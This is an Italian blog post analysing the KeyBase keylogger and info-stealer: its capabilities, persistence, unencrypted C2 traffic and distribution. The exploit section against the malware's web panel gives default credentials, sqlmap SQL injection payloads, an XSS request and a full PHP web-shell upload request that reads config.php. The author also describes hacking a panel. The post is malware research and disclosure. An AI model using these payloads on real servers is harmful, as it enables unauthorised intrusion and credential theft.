KeyBase
Da un po’ di tempo a questa parte, un malware conosciuto col nome di KeyBase, è ricomparso nei log di alcuni dei sensori che monitoro. Distribuito durante Febbraio 2015 nella versione 1.0 e acquistabile per circa 50$, è rimasto attivo fino a Maggio per poi sparire dalla rete. Da Novembre è tornato attivo (v1.5) con migliaia d’infezioni.
Keybase è un malware dalle limitate capacità appartenente alla famiglia dei keylogger e info-stealer.
You can read this article in English.
Table of Contents
Malware Overview
Keybase è scritto in C# e tra le sue funzionalità possiamo trovare:
- Keylogging
- HotLogging (Keylogging di specifiche finestre es. paypal, account bancari ecc.)
- Password Stealer
- Browsers (Chrome, FIrefox, Internet Explorer, Opera, Safari)
- Client Email (Outlook, Thunderbird, Incredimail, NetScape, Eudora)
- Altri Software (FileZilla, JDownloader, IDM, Imvu, PalTalk)
- ScreenShot dell’intero schermo o di finestre specifiche
- Copiare il contenuto della ClipBoard
- Capacità di bloccare la visita di determinati siti web
- Visualizzare un sito web all’avvio
- Auto-distruzione una volta raggiunta una specifica data
Code Analysis
Il codice non presenta particolari difficoltà di lettura in quanto non offuscato e le informazioni del server di Comando e Controllo sono “hardcoded” all’interno del codice sorgente.
È possibile localizzare una chiave, aggiunta alle risorse del programma una volta compilato, che appare univoca per ogni build effettuata sulla stessa macchina.
Interessante notare come l’autore abbia adottato alcune semplice tecniche di offuscamento per le stringhe utilizzate all’interno del codice.Principalmente operazioni di “replace” di caratteri e “reverse” di stringhe, in aggiunta a queste operazioni, tutte le chiamate alle API di Microsoft Windows sono cifrate.
La persitenza del codice è ottenuta copiando l’eseguibile nella cartella di Avvio Automatico sotto il nome di Important.exe (visibile nel primo blocco di codice). Questa informazione non può essere modificata dal builder ed è impostata staticamente nel codice sorgente. Viene inoltre settata una chiave all’interno del registro di sistema:
- HKCU\Software\Microsoft\Windows\CurrentVersion\Run {32 byte}:{percorso dell’eseguibile}
Command and Control & Web Panel
La parte più interessante, sopratutto per la scarsa qualità del codice, è il pannello di controllo web.
Tutte le comunicazioni con il server remoto avvengono tramite semplici richieste HTTP e non sono cifrate in alcun modo.
Di default KeyBase notifica l’avvenuta installazione al server remoto:Da notare l’assenza di alcuni header HTTP.
L’interfaccia Web permette il controllo delle informazioni delle macchine infette come visibile nella seguente immagine:
Exploit
Le credenziali di default per l’accesso al web panel sono: Admin:Admin, KeyBase:Logs123!
Analizzando il codice sorgente è possibile identificare svariate vulnerabilità:Il file post.php è vulnerabile a SQL Injection (Error & Blind Based) e Cross Site Scripting (XSS) in quanto i parametri “machinename, windowtitle, keystrokestyped, machinetime” non vengono filtrati in alcun modo.
Sqlmap:
Parameter: machinename (GET) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: machinename=1' AND (SELECT 5650 FROM(SELECT COUNT(*),CONCAT(0x71706b6a71,(SELECT (ELT(5650=5650,1))),0x71706a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'oAZi'='oAZi&windowtitle=a&keystrokestyped=a&machinetime=a&type=keystrokes Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: machinename=1' AND (SELECT * FROM (SELECT(SLEEP(5)))GRmL) AND 'mEfO'='mEfO&windowtitle=a&keystrokestyped=a&machinetime=a&type=keystrokes
XSS:
GET /keybase/post.php?keystrokestyped=a'"<script>alert('VoidSec')</script>&machinename=1&machinetime=a&type=keystrokes&windowtitle=a
Il cookie di sessione viene settato senza la flag ‘HTTPOnly’ permettendo quindi l’hijacking della sessione attraverso la precedente vulnerabilità XSS.
Di default la directory “/image/Images”, destinazione degli screenshot effettuati dal malware non richiede autenticazione, permettendo a chiunque la visione delle immagini memorizzate sul server.
Il file upload.php, responsabile dell’upload degli screenshot, non effettua nessun controllo sul tipo di file caricato, permettendo di fatto l’upload di file PHP con cui è possibile compromettere l’intero server di C&C.
È inoltre possibile notare come non venga effettuato il ‘renaming’ dei file caricati, poiché la funzione predisposta a tale scopo non viene mai utilizzata.Inviando tale richiesta è possibile caricare un file php che consente di leggere username e password per l’accesso al pannello di controllo.
Exploit:
POST /image/upload.php HTTP/1.1 Host: $$VULNERABLE_HOST$$ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Content-Type: multipart/form-data; boundary=---------------------------34593197730004 Content-Length: 394 -----------------------------34593197730004 Content-Disposition: form-data; name="file"; filename="NUBO_12_21_16_48_4.jpg.php" Content-Type: application/octet-stream <.?php $file = '../../config.php'; echo file_get_contents($file); ?.> -----------------------------34593197730004 Content-Disposition: form-data; name="submit"Upload -----------------------------34593197730004--
Malware Distribution & Targets
KeyBase, è utilizzato per infettare dispositivi in oltre 41 stati, nello specifico: Bosnia and Herzegovina, India, Iran, Jordan, Philippines, Serbia, Thailand, United States of America, Viet Nam.
La sua incidenza diventa rilevante quando parliamo dell’Iran che da solo possiede il 45% dei dispositivi infetti.
Alcune installazioni riportano informazioni di macchine utilizzate nei seguenti settori: stabilimenti industriali, high tech, studi medici privati, educazione superiore, retail industries, enti governativi oltre che ai tradizionali computer di utenze domestiche.
Tra la mole d’informazioni raccolte, durante l’hacking di un pannello web, sono venuto in possesso di alcuni file riguardanti la creazione di un nuovo Ransomware, di cui ho “dumpato” tutto il codice sorgente del back-end. Al momento sto tenendo monitorato il server in questione cercando di recuperare dei sample o il codice sorgente dell’eseguibile.
Ma questa è un’altra storia….
Conclusioni
Per concludere, nonostante KeyBase, manchi di alcune opzioni (Download & Execute, Update) e risulti poco sofisticato (mancanza di comunicazioni crittografate e offuscamento) considerando il panorama attuale dei malware, grazie alla sua facilità di utilizzo, al basso detection rateo e alla sua semplicità nel design, lo rende utilizzabile per successivi sviluppi e/o passaggi a un crypter, permettendo così l’evasion dei più comuni prodotti Anti-Virus.
di VoidSec